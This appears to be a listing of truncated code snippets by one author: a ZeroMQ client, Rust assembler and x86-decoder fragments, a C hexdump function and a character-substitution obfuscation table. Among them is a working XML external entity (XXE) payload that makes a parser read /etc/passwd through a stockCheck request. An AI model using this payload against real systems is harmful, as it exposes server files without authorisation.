molenzwiebel

const zmq = require("zeromq");

// Connect to the plugin manager located at `managerHost`, identify
// ourselves as `id` and request connection information. Returns an
// object of { pull: <sub info>, push: <pub info> }.
async function retrieveConnectionDetails(id, managerHost) {
    const sock = new zmq.Request();
    await sock.connect(managerHost); // connect to plugin manager

    // Request pull info.

molenzwiebel

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

molenzwiebel

use std::{
    cell::RefCell,
    collections::HashMap,
    ops::{
        AddAssign, Deref, DivAssign, Index, IndexMut, MulAssign, ShlAssign, ShrAssign, SubAssign,
    },
    rc::Rc,
};

use crate::op::{Insn, Opcode, PartialInsn, U16OrLabel};

molenzwiebel

#include <stdio.h>
#include <inttypes.h>
#include <string.h>

void hexdump(void *ptr, int buflen) {
    unsigned char *buf = (unsigned char*)ptr;
    int i, j;
    for (i=0; i<buflen; i+=16) {
      printf("%06x: ", i);

molenzwiebel

/// Character substitutions for obfuscation purposes.
const SUBST_TABLE: &[(char, [&'static str; 4])] = &[
    ('Q', ["QP", "QD", "QW", "Q4"]),
    ('-', ["QL", "QB", "QO", "Q5"]),
    ('_', ["QC", "QN", "QT", "Q9"]),
    ('X', ["XU", "XN", "XH", "X3"]),
    ('!', ["XW", "XS", "XZ", "X0"]),
];

/// Character substitutions for deobfuscation purposes.

molenzwiebel

use std::collections::{HashMap, HashSet};

use iced_x86::{Decoder, Encoder, Instruction, Mnemonic, OpKind, Register};

#[derive(Debug, Clone, Copy)]
enum RegValValue {
    Immediate(u64),
    Register(Register),
}